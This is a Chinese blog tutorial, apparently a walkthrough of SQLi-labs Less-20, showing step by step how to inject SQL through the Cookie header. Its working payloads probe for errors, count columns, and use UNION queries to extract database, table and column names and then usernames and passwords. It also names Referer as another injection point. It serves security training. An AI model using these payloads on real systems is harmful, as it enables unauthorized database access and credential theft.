Cookie注入
# SQL 注入之 Cookie 注入
本篇讲解 Cookie 注入。
老样子,Less-20,直接送入 repeater
# 尝试报错
Cookie: uname=admin' |
# 尝试不报错
Cookie: uname=admin' %23 |
# 尝试 order by 注入
order by n asc/desc 是指定列号 n 进行排序
Cookie: uname=admin' order by 4 %23 |
因此确定 列数为3
注意
:在 order by 后面的不会根据计算的结果来排序,所以可以直接用来报错注入。
尝试下直接报错注入是否可行:
Cookie: uname=admin' order by extractvalue(1,concat(0x7e,version(),0x7e))%23 |
报错,看来这种直接报错注入的方式是不可行的。
# Cookie 注入查询到数据库名
cookie 注入就是基于 union 查询的基础上,在 Cookie 中进行注入
uname=admin' and 0 union select 1, database(), 3 %23 |
# 查询到表名
进而通过替换 database () 处,变成 双注入
,再查询出表名
uname=admin' and 0 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 3 %23 |
# 查询到列名
一样的套路
uname=admin' and 0 union select 1, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 3 %23 |
# 查询到账号密码
uname=admin' and 0 union select 1, (select group_concat(concat_ws(0x7e,username,password)) from security.users), 3 %23 |
# 思考
通过 Cookie 注入,我们要思考: HTTP请求包中,是否还有其他的字段(Cookie外)也有可能和数据库产生交互呢?
答:有的, HTTP-Referer
就存在。
至此,Cookie 注入演示完毕。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 My Violet Eva Garden!